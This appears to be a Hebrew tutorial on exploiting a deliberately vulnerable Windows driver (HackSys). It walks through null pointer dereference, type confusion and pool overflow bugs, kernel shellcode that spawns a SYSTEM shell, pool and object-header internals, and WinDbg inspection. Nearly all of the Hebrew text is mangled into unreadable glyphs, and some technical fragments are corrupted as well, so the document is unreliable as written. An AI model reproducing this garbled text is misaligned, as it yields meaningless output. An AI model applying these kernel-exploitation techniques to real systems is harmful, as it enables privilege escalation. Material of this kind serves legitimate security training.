-˪DeviceIoControl  ˢˮˬˬ ˞ˣ˶˵˪ ˭˸˧ˮˣ ˢˮ˧˵˸ ˸˟ˣ˸˩ˢ˷ ˸˵ˡˣ˟ ˢ˧˴˵ˮˣ˲ˢ .˦˪˵ˢ ˶˲˞˟˪ ˸˟ˣ˸˩ˢ ˶ˣ˸˟
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8  ˭ˣ˶˩˧ˤ ˢ˴˵ˬ ˭˩ˬ ˶˥˞˪ˣ ,˫˧˸˟pool ˪ ˧˪ˮ˶˵ˢ ˪˧˟˵ˬˢ ,˶ˣˬ˞˩)-Heap ˣ˟ ˵ˬ˰˸ˮ ˟ˣ˶˵˟ ˷ˬˬˣ ,J .(

:˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˰˴˟˸ˬ ,ˢ˪˷˩ˮ ˞˪ ˢ˞˴˵ˢˢˣ ˢˡ˧ˬ˟ 

 

˪ ˸ˣ˞˧˶˵ˢ ˪˩ˬ ˫˪˰˸ˮ-DbgPrint˟ ˭˯˥ˣ˞ˬ˷ ˨˶˰ˢ ˢˬ ˸˵ˡˣ˟ ˢ˧˴˵ˮˣ˲ˢ .-DWORD  ˶˲˞˟˟ ˭ˣ˷˞˶ˢ

˪ ˢˣˣ˷ ˞ˣˢˣ ˢˡ˧ˬ˟ˣ ,˵˲˯ˬ ˷ˬ˸˷ˬˢ˷-0xBAD0B0B0˪ˮ˶˵ˢ ˦˵˧˧˟ˣ˞ˢ ˸˞ ˫˧˪˥˸˞ˬ ,˟ˣ ˧-

allocatedMemory[1] ˢ ˭ˣ˶˩˧ˤ ˸˪˧˥˸ˬ ˫˧˸˟ ˢ˰˟˶˞)-pool ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˫˧ˬ˵ˬˬ (ˢ˴˵ˣˢ˷-

callback ˢ ˱ˣ˯ ˧ˮ˲˪ ˢ˶ˣ˷ ˢ˞˧˶˵ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ) ˢ˧˴˵ˮˣ˲ˢ ˱ˣ˯˟ ˞ˣ˶˵˪ ˷˧ ˣ˧˪˞-pseudocode 

.˭˧˵˸ˢ ˢ˴˧˶ˢ ˷˧˥˶˸ ˣˢˤ .(ˢˮˣˬ˸˟ ˞˟ˣˬˢ 

ˬ ˢˮˣ˷ ˨˶˰ˢˣ ˢˡ˧ˬ˟-0xBAD0B0B0˧ˤˢ ˸˞ ˫˧˶˶˥˷ˬ , ˢ˷˪ˣ˥ˢ .˰˧˟˴ˬˢ ˸˞ ˫˧˯˲˞ˬˣ ,ˢ˴˵ˣˢ˷ ˭ˣ˶˩

 ˵˥˶ˬ˟ ˸˞˴ˬˮ ˢ˪˷ ˸˟ˣ˸˩ˢ˷ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˸˰˴˟˸ˬ ˫˧˶˵ˬˢ ˧ˮ˷˟˷ ,˞˧ˢ4  ˸˪˧˥˸ˬ ˫˧˸˟

ˬ ˢˮˣ˷ ˣˮ˪˷ ˶˲˞˟˟ ˫˵ˣˬˬ˷ ˨˶˰ˢˣ ˢˡ˧ˬ˟ ˫ˠ˷ ˨˩ ,ˢ˴˵ˣˬˢ ˭ˣ˶˩˧ˤˢ-0xBAD0B0B0  ,ˢˬˠˣˡ˪)

0x41414141 ˢ˧ˢ˸ ˰˧˟˴ˬˢ ˸˟ˣ˸˩ˣ ,(0˧˵˯˰˸ˬ ˣˮ˞ .ˢ˞˧˶˵ˢ ˰˴˟˸˸ , ˫˰ ˫Null Pointer Dereference 

 ˫ˡˣ˵ ˣˮ˶˞˧˸˷ ˢ˦˧˷ˢ ˢ˸ˣ˞˟ ˵ˣ˧ˡ˟ ˶ˤ˰˧ˮ ,ˣ˸ˣ˞ ˪˴ˮ˪ ˸ˮˬ ˪˰ˣ ,˵ˢ˟ˣˬ-  ˡˣˬ˰ˢ ˸˞ ˢ˲ˬˮ ,ˢ˪˧˥˸

 ˸˟ˣ˸˩˟ ˪˧˥˸ˬ˷0˟ ˫˵ˬˮ ˭˩ˬ ˶˥˞˪ˣ ,-0x4 ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞-shellcode ˟ ˳˧˶ˢ˪ ˢ˴˶ˮ ˣ˸ˣ˞ ,ˣˮ˪˷-

Kernel-Mode˪ ˫ˣ˶ˠ˸˷ ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮ ,˭˩ˬ ˶˥˞˪ .-null dereferencing ˟-Kernel-Mode ˸˶ˤ˰˟ ,

 ˸˷˵˟ ˸˥˧˪˷IOCTL  ˪˷ ˨˶ˣ˞˟ ˶˲˞˟ ˫˰ ˢˬ˧˞˸ˬ2 DWORDSˢ ˪˷ ˨˶˰ˢ˷ ˨˩ ,-DWORD  ˭ˣ˷˞˶ˢ

 ˞˪ ˞ˣˢ0xBAD0B0B0. 
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 ˸ˡˣ˵˲ ˫˵ˬˮint 3 ˢ ˸˪˧˥˸˟-shellcode ˟ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮˣ ˣˮ˪˷-guest:ˢ˞˴ˣ˸ˢ . 

 

˟ ˣˬ˩ ,˭˞˩ ˫ˠ-Type Confusion˦˵ ˸˲˯ˣˢ˟ ˨˶ˣ˴ ˭˧˞ ,ˢ ˱ˣ˯˟ ˸ˣ˷˷ˣ˞˸ˢ ˰-shellcode ˞˶˵ˮ ˞ˣˢ ˭˩˷ ,

 ˸˞ ˵˥ˬˮ .ˢˮ˟ˬ ˱˞ ˣˮ˯˶ˢ ˞˪ˣ ˶˟˧˧˶ˡˢ ˧ˡ˧ ˪˰ ˧ˬ˧˦˧ˠ˪ ˭˲ˣ˞˟int 3 ˢ ˸˪˧˥˸ˬ-shellcode ˱ˣ˯˟ ˱˧˯ˣˮ ,

 ˨˧˪ˢ˸ ˥˸ˣ˲˷ ˡˣ˵ˢ ˸˞ ˸˧ˮ˩˸ˢcmd ˟ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮˣ ,˷ˡ˥-guest :ˢ˞˴ˣ˸ˢ .˟ˣ˷ 

 

 ˢ˥˪˴ˢ˟ ˣˮ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˣˮˬ˪˯ˢJ˟˷ ˭˧˧˴˪ ˢˣˣ˷ . ˸ˣ˷˪ˣ˥ ,˪˰ˣ˲null dereferencing  ˦˰ˬ˩ ˶˟˩

 ˪˥ˢ˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ ,˸ˣ˧˦ˮˣˣ˪˶ ˞˪ˣ-ˬWindows8 ˭ˣ˷˞˶ˢ ˡˣˬ˰ˢ ˪˷ ˢ˞˴˵ˢˢ ˸˞ ˣ˰ˮˬ ˦˲ˣ˯ˣ˶˵˧˧ˬ ,

 ˸ˣ˧˴˵˧˪˲˞ ˧ˡ˧ ˪˰ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤ˟User-Mode ˰˴ˣ˟ ,˭˩ ˣˬ˩ .backporting  ˶ˣ˟˰ ˢˮˠˢ˪Windows7 64 

bit. 

Pool Overflow 

˟ ˭ˣˡˮ ,ˢˤ ˱˧˰˯˟ˢ ˸˷˪ˣ˥ ˪ˣ˴˧ˮ-Pool Overflow ˟ ˸ˬ˧˧˵˷-TriggerPoolOverflow ˢ ˡˣ˵˷)-IOCTL 

 ˞ˣˢ ˢ˪ ˞˶ˣ˵˷0x22200F.˱˯ˣˮ ˧˦˶ˣ˞˧˸ ˰ˡ˧ ˷ˣ˩˶˪ ˣˮ˧˪˰ ˸˧˷˞˶ ˨˞ ,( 

 ˪˷ ˪ˮ˶˵ˢWindows ˢ˥ˮˣˬ ˪ˮ˶˵ ˞ˣˢ- ,˫˧ˮˣ˩˧˪ˢ˸ ,˫˧˴˟˵ ,˫˧˩˧˪ˢ˸ :˫˧˦˵˧˧˟ˣ˞˫˧˰ˣ˶˧˞ -  ˫˧ˠ˴ˣ˧ˬ ˫˪ˣ˩

˟˧˩˶ˢˣ ,˫˧˦˵˧˧˟ˣ˞˩ ˪ˮ˶˵ˢ ˸ˬ˶˟ ˢ ˞ˣˢ ˫ˢ˧˪˰ ˧˞˶˥˞ˢ-Object Manager  ˶ˣ˸˟ ˫ˠ ˣ˧˪˞ ˫˧˯˥˧˧˸ˬ˷)

Ob ˣˬ˩ ,˷ˡ˥ ˦˵˧˧˟ˣ˞ ˸˶˧˴˧˪ ˢ˞˧˶˵ ˪˩ .(IoCrateDriver ˸˧˶ˮˠˢ ˢ˧˴˵ˮˣ˲˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˰˧ˠ˸ ,

ObCreateObject.˪ˮ˶˵˟ ˫˧˷ˡ˥ ˫˧˦˵˧˧˟ˣ˞ ˸˶˧˴˧ ˪˰ ˸˧˞˶˥˞˷ , 

˟ ˸ˣ˞˴ˬˮ ˫˧˦˵˧˧˟ˣ˞ ˫˧˶˴ˣ˧ ˭ˢ˧˲ ˪˰ "˸ˣ˵˪˥ˬ"ˢ ˪˷ ˸ˣ˶ˡˠˢˢ ˫˷˟ ˢ˪˟˦nt!ObTypeIndexTable. 
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 ˭˪ˢ˪0x10 ˟) ˢ˪˟˦˟ ˫˧ˮˣ˷˞˶ˢ ˫˧˶˟˧˞ˢ-guest :(ˣˮ˪˷ 

 

 ˫ˢˣ ˫˧˰ˣ˟˵ ˫ˢ ˫˧ˮˣ˷˞˶ˢ ˫˧˶˟˧˞ˢ ˧ˮ˷0x00000000 x-0xbad0b0b0 ˫ˢ ˫˧˶˟˧˞ˢ ˶˞˷ ˪˩ .ˢˬ˞˸ˢ˟ ,

 ˫˷˟ ˢˮ˟ˬ ˸ˣ˰˴ˬ˞˟ ˶ˡˠˣˬ ˦˵˧˧˟ˣ˞ˢ ˠˣ˯ .˦˵˧˧˟ˣ˞ˢ ˠˣ˯ ˸ˣˡˠˢ˪ ˫˧˰˧˟˴ˬ_OBJECT_TYPE ˸˞ ˭˥˟ˮ .

:ˢˮ˟ˬˢ 

 

 ˢˡ˷˟Name  ˢˡ˷ˢ ,ˢ˵˪˥ˬˢ ˫˷ ˰˧˲ˣ˧Index  ˢ˪˟˦˟ ˢ˵˪˥ˬˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˞ˣˢ

ObTypeIndexTable ˢˡ˷ˢ ,Key ˟ ˭ˣ˶˩˧ˤ ˣ˴˵˧ ˣ˸˧˞ ˠ˸ˢ ˸˞ ˢˣˣˢˬ-pool  ˢ˧˴˵ˮˣ˲ˢ .˫˧˞˸ˬˢ

ObCreateObject ˪ ˰˧˟˴ˬ (˶˸˧ˢ ˭˧˟) ˸˪˟˵ˬ-_OBJECT_TYPE  ˧˦ˮˣˣ˪˶ˢ ˶˷˞ ˣˮˬˬ ˣˮ˞ ˶˴˧˧˪ ˫˧˴ˣ˶

 ,˷ˡ˥ ˦˵˧˧˟ˣ˞˸˞ ˶ˣ˴˧˪ ˸ˮˬ ˪˰ ˢˤˢ ˰ˡ˧ˬ˟ ˸˶ˤ˰ˮˣ  .˦˵˧˧˟ˣ˞ˢ 

 ˢˡ˷ˢ ˞ˣˢ ˭˧˧ˮ˰ˬ ˢˡ˷TypeInfo:ˣˮ˩ˣ˸ ˸˞ ˭˥˟ˮ . 
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 ˣˬ˩ ˸ˣ˧˶ˮˠ ˸ˣ˶ˣˡ˴ˣ˶˲˪ ˫˧˰˧˟˴ˬ ˶˲˯ˬ ˫˧˰˧˲ˣˬ ˭˩ˣ ,˦˵˧˧˟ˣ˞ˢ ˷ˣˬ˧ˬ ˪˰ ˧˦˧˶˵ ˰ˡ˧ˬ ˞˴ˬˮ ˢˤˢ ˢˡ˷˟

CloseProcedure˭˲ˣ˞˟ ˰˴˟˪ ˸ˮˬ ˪˰ ˪ˮ˶˵ˢ ˸˞ ˫˧˷ˬ˷ˬ ˣ˪˪ˢ ˸ˣ˶ˣˡ˴ˣ˶˲˪ ˫˧˰˧˟˴ˬˢ .  ˸ˣ˪ˣ˰˲ ˭˧˵˸

 ˸˶˧ˠ˯ ,˦˵˧˧˟ˣ˞ ˸˶˧˴˧ ˣˬ˩ ,˫ˢ˟ ˨ˣˬ˸˪ ˫˪ˣ˩ ˪˰˷ ,˫˧˦˵˧˧˟ˣ˞ˢ ˫˰ ˸ˣ˧˪˪˩handle  ˸˵˧˥ˬ ,˦˵˧˧˟ˣ˞˪

 ˰˴˟˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟ ,ˢˬˠˣˡ˪ ,˨˩ .ˡˣ˰ˣ ˦˵˧˧˟ˣ˞CloseHandle  ˡˣ˵ˬ)User-Mode ˪˰ (handle  ˦˵˧˧˟ˣ˞˪

ˢ ˣ˞˶˵˧ ,˫˧ˣ˯ˬ ˠˣ˯ˬ ˧˪ˮ˶˵-OkayToCloseProcedure ˢ ˭˩ˬ ˶˥˞˪ˣ-CloseProcedure  ˪˰ ,ˣ˪ ˫˧˶ˡˠˣˬˢ

ˢ ˪˷ ˸˧ˮ˵˸ ˢ˶˧ˠ˯ ˶˷˲˞˪ ˸ˮˬ-handle˫ˠ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˢ˶ˣˡ˴ˣ˶˲ ˪˷ ˸˟ˣ˸˩ˢ .0  ˫˧˯ˮˬ ˞˪ ˤ˞ˣ ,

˸˸ .ˢ˪ ˞ˣ˶˵˪-˟ ˫˧˧˵˷ ˟ˣ˷˥ ˱˯ˣˮ ˢˡ˷-TypeInfo  ˞ˣˢPoolTypeˢ ˠˣ˯ ˸˞ ˭˧˧˴ˬ ˶˷˞ ,-Pool  ˷˧ ˣ˟

) ˦˵˧˧˟ˣ˞ˢ ˸˞ ˸ˣ˴˵ˢ˪Paged  ˣ˞Non-Paged.( 

˴˵˟ ˣˮ˧˧˴˷ ˧˲˩ˢ ,˶˸ˣ˧ ˫ˡ˵ˣˬ ˢ˶-Pool ˪ ˧˪ˮ˶˵ˢ ˪˧˟˵ˬˢ ˞ˣˢ-Heap ˭ˣ˶˩˧ˤ˟ (˱˧˴˶) ˫ˣ˵ˬ˟ ˶˟ˣˡˬ .

 ˸˩˶˰ˬ ˸˞ ˷ˬ˷ˬ ˞ˣˢˣ ,˨˧˪ˢ˸ ˪˩ ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˪ ˢ˲ˣˬˬˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˶ˣˬ˷˷

 ˪˩ .˫˧ˮˣ˸ˮ ˧ˮ˟ˬ ˸˶˧ˬ˷˪ ˫˧˶˟˧˧˶ˡˣ ˢ˪˰˲ˢˢPool  ˸˶ˤ˰˟ ˶ˡˠˣˬ_POOL_DESCRIPTOR ˸ˮ˧˥˟ˬ .

ˢ ˸˦˧˷ˣ ˸ˣˠˢˮ˸ˢˢˢ ,ˢ˞˴˵ˢ-pool ˪ ˡˣ˞ˬ ˢˬˣˡ-heap  ˶˸ˣ˧ ˫˧˧˦˯˧ˮ˧ˬ˶˦ˡˣ ˫˧ˮ˷˧ ˫˧˷ˣˬ˧ˬ˪ ˡ˥ˣ˧ˬ˟)

ˢ ˪˷ ˸ˣ˧ˣˠˢˮ˸ˢ ˧˸˷ ˭ˮ˷˧ .(˦˲ˣ˯ˣ˶˵˧˧ˬ ˪˷ ˶˸ˣ˧ ˸ˣ˧ˮ˩ˡ˰ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟ ˫˧ˬ˧˧˵˷ ˫˧˷ˣˬ˧ˬˢˬ-Pool 

:ˣˮ˪ ˸ˣ˟ˣ˷˥˷ 

¶ ˡˣ˥˧˞ ˸ˣ˞˴˵ˢ ˸ˣ˧˷˲ˣ˥ :ˢˡ˧ˬ˟ ˧˸˷ˣ ˸ˣ˞˴˵ˢ ˸ˣˡˣˬ˴ ˟-pool ˸ˣ˶˶˥ˣ˷ˬ ,-spool manager ˧ˡ˥˞ 

˸˞ ˸ˣ˞˴˵ˢˢ ˧ˡ˩˪ ˢ˞˴˵ˢ ˸˥˞ ˸˶˶˥ˣ˷ˬ .˨˩ ,ˢˬˠˣˡ˪ ,˫˞ ˸ˬ˧˧˵ ˢ˞˴˵ˢ ˸˶˶˥ˣ˷ˬ )freed (˪˷ 

0x40 ˫˧˸˟ ,ˢ˧˶˥˞ˣ ˢ˞˴˵ˢ ˸˧˴˵ˣˬ )allocated (˪˷ 0x30 ˫˧˸˟ ˫˧˶˶˥˷ˬˣ ˢ˸ˣ˞ ,ˤ˞ ˸ˣ˞˴˵ˢˢ 

ˣˡ˥ˣ˞˧ ˧ˡ˩˪ ˢ˞˴˵ˢ ˸˧˷˲ˣ˥ ˪˷ 0x70 ˫˧˸˟ .ˢ˪ˣ˰˲ ˣˤ˩ ˸˞˶˵ˮ "coalescing." 

¶ ˸˲ˡ˰ˢ ˢ˞˴˵ˢ ˸˧˷˲ˣ˥ ˰ ˪˧ˮ˲ ˢ˞˴˵ˢ ˢ˷ˡ˥ :ˢˡ˧ˬ˟ ˷˧ˣ ˢ˷˵˟ ˢ˞˴˵ˢ˪ ˨˶ˣ˞˟ 0x70 ˫˧˸˟ ,

˨˞ ˸ˬ˧˧˵ ˢ˞˴˵ˢ ˸˧˷˲ˣ˥ ˨˶ˣ˞˟ 0x70 ˫˧˸˟ ˟-Pool ,-spool manager ˶˥˟˧ ˞˪ ˸ˣ˴˵ˢ˪ ˭ˣ˶˩˧ˤ 

˷ˡ˥ ,˞˪˞ ˸ˣ˴˵ˢ˪ ˷ˡ˥ˬ ˸˞ ˢ˞˴˵ˢˢ ˸˧˷˲ˣ˥ˢ .˪˰ˣ˲˟ ,˶˟ˡˢ ˨˟ˣ˯ˬ ˶˸ˣ˧ ˷ˬˣˬˬˣ ˸ˣ˰˴ˬ˞˟ 

˸ˣˬ˧˷˶ Lookaside ˸ˣˬ˧˷˶ˣ ListHeads .ˢ˟˨˷ˬ ˵ˬ˰˸ˮ ˭ˢ˟ ,˪˟˞ ˰ˠ˶˩ ˵˲˸˯ˮ ˸˰ˡ˪˟ ˢ˷-pool 

manager ˱˧ˡ˰˧ ˷ˬ˸˷ˢ˪ ˢ˞˴˵ˢ˟ ˸˧˷˲ˣ˥ ˪˰ ˧ˮ˲ ˰ˣ˴˧˟ ˸˞˴˵ˢ ˭ˣ˶˩˧ˤ ˢ˷ˡ˥. 

˪ ˢˬˣˡ˟ ,˭˩ ˣˬ˩-heap ˫˧˧˵ ˢ˞˴˵ˢ ˪˩ ˸˪˧˥˸˟ ,header ˪˷ ˢ˪ˣ˲˩˪ ˪ˠˣ˰ˬ ˷˵ˣ˟ˬˢ ˢ˞˴˵ˢˢ ˪ˡˣˠˣ ,8 

˟)-32bit˧˷˵˟ˬ˷ ˸ˣ˞˴˵ˢˢˬ ˶˸ˣ˧ ˸ˣ˪ˣˡˠ ˸ˣ˞˴˵ˢˢ ˪˰ˣ˲˟˷ ˨˩ ,(ˢ .˫-header  ˢˮ˟ˬ˟ ˶ˡˠˣˬ

_POOL_HEADER˟) ˣ˪ˡˣˠˣ ,-32bit ˞ˣˢ (8 .˫˧˸˟ 

 ˪˷ ˫˧ˠˣ˯ ˧ˮ˷ ˫˧ˬ˧˧˵Memory Pools :Paged x-Non-Paged .Non-Paged  ˸ˣ˟ˣ˸˩ˢ˷ ˣ˰ˬ˷ˬ

˷ ˡˣ˰˟ ,˸ˣ˴˵ˣˬ ˭ˢ ˡˣ˰ ˪˩ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤ˟ ˣ˞˴ˬ˧˧ ˡ˧ˬ˸ ˣ˟˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ-Paged  .ˣˤ ˸ˣˠˢˮ˸ˢ ˥˧˦˟ˬ ˞˪

ˢ ˠˣ˯-Pool  ˶ˡˠˣˬˢ ˸ˣ˰˴ˬ˞˟-enum _POOL_TYPE ˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩)-TypeIndex.PoolType.( 
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 ˭ˣ˶˩˧ˤ ˸ˣ˞˴˵ˢpool  ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸ˣ˰˴˟˸ˬExAllocatePoolWithTag:˞˧ˢ ˢ˪˷ ˢˬ˧˸˥ˢ˷ , 

PVOID ExAllocatePoolWithTag (  

  _In_ POOL_TYPE PoolType ,  

  _In_ SIZE_T    NumberOfBytes ,  

  _In_ ULONG     T ag 

);  

 ˶˷˞˩Tag .˧ˡˣ˥˧˧ ˢ˧ˢ˧ ˠ˸ ˪˩˷ ˧˞ˡ˩ ˭˩˪ ,ˠˣ˟˧ˡ˪ ˶˵˧˰˟ ˷ˬ˷ˬˣ ,˫˧ˣˣ˸ ˢ˰˟˶˞ ˡ˰ ˪˷ ˸ˤˣ˶˥ˬ ˞ˣˢ 

 ˭ˣ˶˩˧ˤ ˶ˣ˶˥˷pool  ˸˶ˤ˰˟ ˰˴˟˸ˬExFreePoolWithTag: 

VOID ExFreePoolWithTag (  

  _In_ PVOID P ,  

  _In_ ULONG Tag  

);  

ˢ ˶˷˞˩-Object Manager ˯ˬ ˶˥˞˪ ,˷ˡ˥ ˦˵˧˧˟ˣ˞ ˶ˣ˴˧˪ ˢ˴ˣ˶ˢ ˪˰ ˫˧ˡˣ˟˧˰ˣ ˸ˣ˵˧ˡ˟ ˶˲-

_OBJECT_TYPE ˪ ˞˶ˣ˵ ˞ˣˢ ,ˣ˪ ˫˧˵˲˯ˬ˷-ExAllocatePoolWithTag ˟ ˦˵˧˧˟ˣ˞ˢ ˸˞ ˶ˣ˴˧˪ ˷˵˟ˬˣ-Pool 

˟ ˭˧ˣ˴ˬ˷ ˢˬ ˧˲˪) ˫˧˞˸ˬˢ-TypeIndex.PoolType˟ ˞˴ˬˮ ˶˷˞ ˠ˸ˢ ˫˰ ,(-_OBJECT_TYPE.Key ˶˥˞˪ .

 ˱˧˯ˣˬ ˞ˣˢ ˢ˞˴˵ˢˢ ˸˪˧˥˸˟ ,˭˩ˬheader ˣˬ˩ ,˫˧˧˪ˮˣ˧˴˲ˣ˞ ˫˧_OBJECT_HEADER_QUOTA_INFO ,

 ˭˩ˬ ˶˥˞˪ˣ_OBJECT_HEADER ˢˮ˟ˬˢ ._OBJECT_HEADER  ˸˞ ˭˥˟ˮ .˦˵˧˧˟ˣ˞ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˵˲˯ˬ

:ˢˮ˟ˬˢ 

 

 ˞ˣˢ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ˷ ˢˡ˷ˢTypeIndex ˢ˪˟˦ˢ ˨ˣ˸˪ ˯˵ˡˮ˧˞ ˞ˣˢ ˢˤˢ ˢˡ˷ˢ .nt!ObTypeIndexTable .

˪ ˰˧˟˴ˬˢ ˟˷ˣ˧ ˣ˟ ˯˵ˡˮ˧˞ˢ ˞ˣˢ ˯˵ˡˮ˧˞ˢ-_OBJECT_TYPE ˧ˡˠˬ˷ .˦˵˧˧˟ˣ˞ˢ ˠˣ˯ ˸˞ ˶ 
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ˢ ˶˥˞˪-_OBJECT_HEADER ˶˸˞ˢˬ ˥ˣ˵˪˷ ,˞˟ˢ ˫˧˷˶˸ˢ .ˣˬ˴˰ ˦˵˧˧˟ˣ˞ˢ ˫˧˧˵ ,codemachine.com ,

 ˸ˣ˞˴˵ˢ ˸ˣ˞˶ˮ ˡ˴˧˩ ˷˧˥ˬˬpool :˫˧˦˵˧˧˟ˣ˞ ˪˷ 

 

 ˫˧ˮ˧ˣ˴ˬ ˫˧˷˶˸˟άhǇǘƛƻƴŀƭ IŜŀŘŜǊǎέ ˩-header- ˧ˮ˲˪ ˫˧ˬ˵ˣˬˬ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧˷ ˫˧_OBJECT_HEADER .

˷ ˫ˣ˧˵ˢ ˸˞ ˣˮ˧˧˴ ˫˧ˬ˧˧˵ .˫ˢ˧˪˰ ˭ˣ˧ˡˢ ˸˞ ˟˧˥˶ˮ ˣ˧˷˩˰ˣ ,˫ˡˣ˵ ˫ˢ˪header- ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧˷ ˫˧˲˯ˣˮ ˫˧

ˢ ˧ˮ˲˪ ˫˧ˬ˵ˣˬˬ-_OBJECT_HEADER.˰ˣ˟˵ ˞ˣˢ ˫˶ˡ˯ˣ ˫ˢ˪˷ ˪ˡˣˠˢˣ , 

˟ ˫˧˧˵ ,˫˧ˬ˧˧˵ ˫ˢˬ ˣ˪˧˞ ˰ˣ˟˵˪ ˸ˮˬ ˪˰-_OBJECT_HEADER  ˢˡ˷ˢInfoMask ˡ˥˞ ˦˧˟ ˪˧˩ˬ ˞ˣˢˣ ,

 ˪˩ ˶ˣ˟˰header ˪ˢ˪ .˫˧˧˵˷ ˧˪ˮˣ˧˴˲ˣ˞ ˶˸˞ˢˬ ˥ˣ˵˪) ˸ˣˡ˷ˢ ˪˷ ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˪ˡˠˢˣ ˸ˣˬ˷ˢ ,˫˧˦˧˟ˢ ˭

codemachine.com:( 
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 ˣˤˢ ˢ˴˧˵˯ˢ ˫ˠ .ˢˮ˟ˬˢ ˰˧˲ˣˢ˪ ˫˧˪ˣ˩˧ ˣ˟ ˶ˡ˯ˢ ˸˞ ˸˶˞˸ˬˢ ˢ˴˧˵˯ ˭˪ˢ˪ .˰ˣ˟˵ ˞ˣˢ ,˶ˣˬ˞˩ ,˶ˡ˯ˢ

ˬ ˢ˥ˣ˵˪-codemachine.orgˢˬ ˫˧˵˪˥ ˫ˢ ˫˧˶ˣ˲˞ˢ ˫˧˵ˣ˪˟ˢ .-_OBJECT_HEADER: 

 

˧˦˶ˣ˞˧˸ ˰ˡ˧ˬ ˢ˟˶ˢ ˢˤ ˢ˧˴˵ˮˣ˲˟ ˶ˤ˰˧ˮ .ˢˬˠˣˡ ˸ˣ˰˴ˬ˞˟ ˣ˸ˣ˞ ˭˧˟ˢ˪ ˢ˯ˮˮ ,CreateFile ˠ˧˷ˮˣ ,handle 

ˢ ˪˷ ˨˶˰ˢ ˸˞ ˯˧˲ˡˮ ,˭˩ˬ ˶˥˞˪ .˶ˬ˞ˬ˟ ˫˧˶˵ˣ˯ ˣˮ˞ ˣ˸ˣ˞ ˶˟˧˧˶ˡ˪-handle˟ ˶ˤ˰˧ˮˣ ,-windbg  ˸ˮˬ ˪˰

:˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ .ˣ˸ˣ˞ ˶ˣ˵˥˪ 

 

-shandle  ˞ˣˢ ˣˮ˪˷ ˶˟˧˧˶ˡ˪0x1Cˢ ˪˷ ˶˷˵ˢˢ ˸˞ ˸ˣˮ˷˪ ˣˮ˧˪˰ .-kd ˪ ˨˧˪ˢ˸hacksys.exe  ˸ˮˬ ˪˰

ˢ ˸˞ ˭ˣ˥˟˪-handle ˳˧˶ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .άΗǇǊƻŎŜǎǎ л лέ  ˪˩ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˠ˧˴ˢ˪ ˸ˮˬ ˪˰

" ˳˧˶ˮ ,˭˩ˬ ˶˥˞˪ .˫˧˩˧˪ˢ˸ˢ.process <address> ˳˧˶ˮ ˤ˞ˣ ,˨˧˪ˢ˸ˢ ˪˷ ˸˟ˣ˸˩ˢ ˫˰ "άΗƘŀƴŘƭŜ лȄм/έ 

ˢ ˸˞ ˭ˣ˥˟˪ ˸ˮˬ ˪˰-handle: 

 

˟ ˪˧˥˸ˬ ˦˵˧˧˟ˣ˞ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˸˟ˣ˸˩0x85e905d8ˢ ˪˟˞ ,-header ˟ ˞˴ˬˮ ˣ˪˷-0x85e905c0 ˣˬ˩ .

 ,˭˩WinDbg  .˳˟ˣ˵ ˞ˣˢ ˦˵˧˧˟ˣ˞ˢ˷ ˵˧˯ˢ ˶˟˩ 
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ˢ ˸ˮ˧˥˟ ˸˶ˤ˰˟ ˣˮ˧ˬ˴˰˟ ˸˞ˤ ˢ˞˶ˮ-_OBJECT_HEADERˢ ˸ˮ˧˥˟ ˭˩ˬ ˶˥˞˪ˣ ,-_OBJECT_TYPE* 

˟˷ ˯˵ˡˮ˧˞˟-_OBJECT_HEADER.TypeIndex: 

 

ˢ ˸˞ ˞˴ˬˮ-pool header  ˸˶ˤ˰˟ ˫˧˞˸ˬˢ!pool <addr> ˶˷˞˩ ,addr :˦˵˧˧˟ˣ˞ˢ ˪˷ ˸˟ˣ˸˩ˢ ˞˧ˢ 

 

 ˞ˣˢ ˢ˞˴˵ˢˢ ˪˷ ˠ˸ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˭˩˞File ˪˥ˢ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ˢ ˸ˮˣˬ˷  .˷ˣˬ˧˷˟ ˰ˠ˶˩ ˭ˣ˶˩˧ˤˢ˷ˣ ,

 ˸˟ˣ˸˩ˢˬ0x85e905a0 ˢ ˫ˢ-_POOL_HEADERˢ ˡ˰ˣ ,˫ˢ˧˶˥˞ .-_OBJECT_HEADERˢ ˫˧ˬ˧˧˵ ,-

header .˫˧˧˪ˮˣ˧˴˲ˣ˞ˢ ˫˧ 

˪˷ ˨˶˰ˢ ,ˣˮ˧˞˶˷ ˧˲˩ InfoMask ˟-_OBJECT_HEADER  ˞ˣˢ ˧˦ˮˣˣ˪˶ˢ0xC :˧˶˞ˮ˧˟ ˠˣ˴˧˧˟ˣ ,0x1100 ,

